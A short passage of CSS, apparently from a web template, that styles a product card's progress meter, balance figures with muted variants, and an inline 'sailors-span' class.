.tm-product-card__meter {
  height: 10px;
  background: #e0e0e0;
  border-radius: 5px;
  overflow: hidden;
  margin: 16px 0;
}

.tm-product-card__meter-fill {
  height: 100%;
  background: var(--global-primary-color);
  border-radius: 5px;
  transition: width 0.5s ease;
}

.tm-product-card__balance {
  font-size: 16px;
  color: #000000;
  margin: 10px 0;
  display: flex;
  align-items: center;
  gap: 6px;
  flex-wrap: wrap;
}

.tm-product-card__balance-number {
  font-size: 20px;
  font-weight: 700;
  color: var(--global-primary-color);
}

.tm-product-card__balance--muted {
  font-size: 15px;
  color: #666666;
}

.tm-product-card__balance--muted .tm-product-card__balance-number {
  font-size: 18px;
  color: var(--global-primary-color);
}

.sailors-span {
  display: inline;
}
</style>